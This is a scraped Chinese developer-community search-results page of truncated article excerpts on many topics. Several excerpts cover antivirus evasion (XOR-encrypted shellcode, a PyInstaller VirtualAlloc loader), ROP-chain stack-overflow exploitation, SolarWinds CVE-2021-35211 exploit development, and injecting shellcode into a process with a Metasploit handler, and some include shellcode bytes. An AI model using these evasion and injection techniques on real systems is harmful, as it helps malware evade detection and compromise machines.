首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

【IoT迷你】在中移动标准利用tos实现GPS追踪器

因为收到的TencentOS tiny内测开发只有ESP8266,利用WiFi来实现GPS跟踪有点不太现实。...而最近正好从中移动手里薅了一个标准开发(如下图),上面自带GSM模组M6312,就想着把tos搞到这个开发上来利用,M6312接入网络来实现地理位置上报。...[uii3kdtsap.png] 移植的过程中除了搞定tos在MAC系统的STM32CubeIDE的编译问题外,最大的一个麻烦就是当前开发库还不支持M6312,所以只能自己动手现撸一个。...3) { *(lng++) = c; *lng = 0; } else { return 0; } } return -5; } 把收到的数据送到MQTT任务,发送到服务器...附: 申请移动各种开发的链接: https://open.iot.10086.cn/productservice/onenetdevboard/

1K100
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    为什么服务器内存硬件的黑色颗粒这么多?

    之前有位读者问我为什么服务器内存上有这么多的颗粒,今天我专门就这个话题成文一篇作为回复。 各位从事服务器端开发的同学天天都在开发代码,代码都需要内存。确实了解一下服务器内存硬件是挺有有必要的。...所以我特地找来了一个服务器内存条来。下图是一个 32 GB 服务器内存条的正面和反面图。 可见服务器内存上有很多的黑色颗粒,相比下面的台式机内存颗粒要多很多。...从它的名称中我们可以看出,ECC 不但能发现内存中的错误,而且还可以进行纠正。 在实现,ECC 内存上额外再添加内存颗粒来专门负责检查错误并纠正错误。...Rank数量是2,所以总共需要 18 * 2 = 36 个内存颗粒来存储用户数据以及校验位 原因2:RDIMM 地址信号缓存 一小节我们对开篇内存计算其包含 ECC 功能后总共需要 36 个内存颗粒,...简单总结一下,服务器内存硬件颗粒数量更多的原因有3个 需要 ECC 功能,需要比普通内存多 1/8 的颗粒数来支持 ECC 需要 RCD 模块降低地址等控制信号干扰影响,将单条容量做到更大 需要 DB

    16810

    我的2023,2023年度总结

    JVM-内存结构篇笔记-腾讯云开发者社区-腾讯云 (tencent.com) JVM - 垃圾回收篇笔记-腾讯云开发者社区-腾讯云 (tencent.com) 操作系统学习总结 操作系统-超20000...不过今年差一点省一,退役之战了,属于是 KaTool实现分布式锁看门狗机制 针对RedisTemplate实现WatchDog-腾讯云开发者社区-腾讯 云 (tencent.com) JVM调参练习 关于在2g2h服务器跑...ElasticSearch的经历-腾讯云开发者社区-腾讯云 (tencent.com) 智库项目设计+编写 5月 嗨皮(拜水都江堰,问道青城) - 限流、算法 & 航天宏图一面 问道青城,拜水都江堰...入住 - 我在青城很想你 山脚 - 晚起的鸟儿有虫吃 几个人说好八点起来开爬,结果大家十点不约而同的出门,十一点在山脚吃了饭,十二点才上山 下面来看看风景 来看看山顶看山下吧,一览众小~ img src...不出以为外,没错,高铁赶不上了,两个在东软学院旁的网吧过夜,花了20块,第二天早上坐高铁 青城之行到此结束~!

    25300

    存储01-磁盘阵列历史

    可以参见本公众号文章:“服务器03-raid卡选型及SSD和HDD对比” 硬件raid卡即现在我们非常熟悉的服务器的raid卡;其实他就是一个冯诺依曼计算机,有CPU、内存、存储、输入输出和OS(一般嵌入式系统中叫固件...比如低端存储的控制器都是那种小盒子(CPU+内存的能力都很弱),高端存储的控制器是两台小型机(如IBM的DS8000系列)。...),存储的价值更多的是体现在软件研发和算法及架构。...想想早些年,华为为了得到存储技术,与赛门铁克组成了华;后来又把华收购,到现在华为的存储发展为行业第一第二。早先年,EMC拿着winxp+一个raid软件,风光了20多年了。...学习的三个阶段: 1)看不是---懵逼阶段,啥也不懂,任人忽悠 2)看就是---基本入门了,给你讲讲单产品架构,能理解但是还不能全盘贯通 3)看不是---重点是在架构和发展趋势;任何新品,

    1.6K21

    免杀tips——敏感函数处理过国内主流杀软

    ✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...目前市面上的绝大多数杀软基于判断一个exe是否为木马,无非就是敏感函数或是调用敏感的api、特征库匹配、hash值、监控内存之类的 ,所以静态的还是比较好过的,稍微处理一下自己的shellcode基本是都可以过的...异或加密说实话已经烂大街的,基本你用任何杀毒都查杀 ,当然这里是指单纯的异或加密shellcode。 2....\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...在你的源码基础char buf[]="";将你加密之后的shellcode放入buf 并在该函数下面加上解密函数: for (int i = 0; i < shellcode_size; i++) {

    1.2K40

    构建ROP链实现远程栈溢出

    如上图就是运行后的FTP服务器,通过nc工具链接服务端的地址nc 192.168.1.8 9999 可以得到一个FTP交互环境,此时可以执行send | hello world命令,来向服务器发送一段字符串...,同时服务器会返回给你Data received successfully这样的提示信息,好了我们开始分析程序并挖掘漏洞吧。...F2断点,然后取消系统领空中recv的断点。...此时我们需要寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针,其基本思路是,使用内存中任意一个jmp esp地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp...\x2b" buf += b"\xc9\xb1\x56\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb1\x43" buf += b"\xbb\xc7\x25\x01\x44\x38

    84320

    创建漏洞利用:SolarWinds 漏洞 CVE-2021-35211

    由于 ASLR,每次启动 Serv-U 时,大多数内存地址都会不同。我必须找到静态地址,至少在我找到合适的立足点来动态查询运行时。 唷。调皮。幸运的是,这个错误的星星对齐了,解决这些问题很容易。...使用 Radare2 搜索 ROP gadgets 很简单,尤其是在允许未对齐内存访问的架构,例如 Intel x64,它可以帮助我们找到甚至不属于已编译代码的 gadgets。...我不在乎是否rdi搞砸了,所以只要r11指向我们的有效负载缓冲区在堆栈的位置,这些小工具就很有用。...读取内存地址处的值rax并将其存储在rax寄存器中。 例如,如果rax=0x123456789上面的指令读取内存地址的 8 个字节0x123456789并将该值存储在rax寄存器中。...第一步是在 Serv-U 的.data段中找到一个可写的内存地址,我可以在其中写入一个字符串。我使用 Hopper 在数据段中查找没有与任何代码交叉引用的部分;假设是内存区域确实未被使用。

    2.1K20

    腾讯程序员不寻常的三年

    腾讯程序员们“不再孤独”,也看到了外有,人外有人。    ...(2020年开源治理打榜颁奖现场) 打榜结束时,腾讯各事业群的开源治理平均分为 90.29 分。...3 还一个腾讯研发的英雄本色 “外有”是压力也是动力。 2020 年 12 月 29 日,腾讯召开开源协同峰会,会上公布了各个 Oteam 整体进展的最新数据,成绩喜人。...(2021云帆Oteam生态日) 在技术影响力的基础,一些开源协同项目开始云,通过腾讯云对外输出技术能力,与行业共享技术成果。...程序员出身的激进CEO成亿万富翁 二十年老程序员的二十条心得:面试几乎没用,警惕很久没写过代码的“大牛” ---- 活动推荐 达摩院发布的 2020 十大技术趋势中提到,未来人工智能热潮能否进一步打开天花

    49020

    【快报】机器学习识别自杀行为准确率达到93% | 灵思推出FPGA加速堆栈方案,比CPU快40倍

    1 灵思推出FPGA加速堆栈方案,比CPU快40倍,比其它FPGA方案快6倍 灵思公司(Xilinx)近日在2016全球超算大会(SC 16))宣布推出一套全新的技术——灵思可重配置加速堆栈方案...专门针对云级应用而设计的基于FPGA的灵思可重配置加速堆栈,包括库、框架集成、开发并支持OpenStack。...通过灵思FPGA,该可重配置加速堆栈方案提供了业界最高的计算效率:比x86服务器CPU高出40倍;比其他FPGA方案高出6倍。...灵思可重配置加速堆栈包括针对云计算工作负载而设计的数学函数库、集成主要框架的应用函数库(如用于机器学习的Caffe)、面向高密度服务器的PCIe®开发和参考设计,以及OpenStack支持套件,使灵思...本周东京大学的研究团队发明了通过把电极贴在脸颊咬肌并通电刺激的方式让人空口体会咀嚼食物。且根据刺激频率的不同,体会到的“食物”口感的软硬程度也不同,研究者称模仿得最像的是橡皮糖的口感。

    58250

    pyinstaller打包逆向分析,顺便免杀Windows Defender

    ✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...大概2分钟之后,360报毒 关闭所有的杀毒之后,分别在win10和winserver2019运行正常,win7本地运行报错 从网上查到了相关的资料: failed to execute script...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存

    2.7K20

    Linux通过栈溢出进行提权实战

    NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。...尝试http下载但没有成功,以后遇到bash反弹的就架个服务器,遇到ssh的还是用sftp更方便点; ? 我这里用得是MobaXterm;运行下程序看看; ?...栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈的返回地址来让shellcode能够得到执行。...那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过 3、NX:NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行...PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址 这个程序可以在栈执行代码

    2K10

    八百元八核的服务器?二手服务器(工作站)搭建指南(下)| 你们要的第二弹

    X58和X79都相继被仿造,800的全新主板!还能上RECC内存!岂不美滋滋! ? 然而真的有这等好事? 先不说迷之设计的前置USB3.0、挡显卡的Sata接口。光是用料,就有3个月必BOOM之称。...双路服务器主板,c602芯片组,支持支持E5 16、26家族,V1、V2版本;支持最大8条(4*2)RECC内存。 ATX尺寸,原则上选择机箱容易,但是还是建议尽量不要小机箱硬,容易磕着。...然而大量的洋垃圾E5充斥市场,2011主板的需求也是居高不下,JS们当然想咬一口这块大蛋糕,于是,我们有了寨X79…… 至于拆机的二手X79呢?事实还不如寨。...这些主板,往往有各种奇怪Bug,比如内存通道认不全、莫名其妙黑屏。即使勉强能用,也是3个月必BOOM,可谓坑过寨。...4、如果你手上有x58,那么把1366的CPU超频一下是最美滋滋的,单颗x5687@4.1Ghz战平i7 3770。图吧已经有大神成功硬改1366服务器主板做到超频,笔者最近也在研究这个。 ?

    10.4K121

    【免杀】C++静态免杀学习

    乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...别人的静态免杀 在Github看到一个c++的免杀,在4月6号的时候,还是bypass 很多的,但是一个月过去了,我执行之后发现了只能过火绒: 项目地址:https://github.com/G73st...复现其他师傅的免杀 2.1 c++部分 其实他这部分代码的逻辑就是一个利用自己的密钥进行解密,解密之后再申请内存,执行shellcode,在这里先将别人的代码下载下来,在本地跑一下: 先把项目下载,然后把...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...(可能只有我受影响) • 生成的程序在某些windows10或windows7无法有效运行!!! 当然,在这个免杀中,均属于静态免杀,有些属于乱杀,就像碰到易语言一样,大家都杀!

    2.2K30

    CC++ 将ShellCode注入进程内存

    内存注入ShellCode的优势就在于被发现的概率极低,甚至可以被忽略,这是因为ShellCode被注入到进程内存中时,其并没有与之对应的硬盘文件,从而难以在磁盘中取证,但也存在一个弊端由于内存是易失性存储器...,所以系统必须一直开机,不能关闭,该攻击手法可以应用于服务器上面,安全风险最小,注入后将注入器删除即可。...multi/handler) > set lport 9999 msf5 exploit(multi/handler) > exploit 2.编译并运行这段代码,将ShellCode注入到系统的任务管理器,...\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\xce\x25\x3d\xaf\x16\x16\x69\x6f\x48\x31\x58...\xe2\x3d\xae\x6d\xb6\xfd\x0e\x5e\xe2\x3d\xee\x6d\xb6\xdd" "\x46\x5e\x66\xd8\x84\x6f\x70\x9e\xdf\x5e\x58

    67520
    领券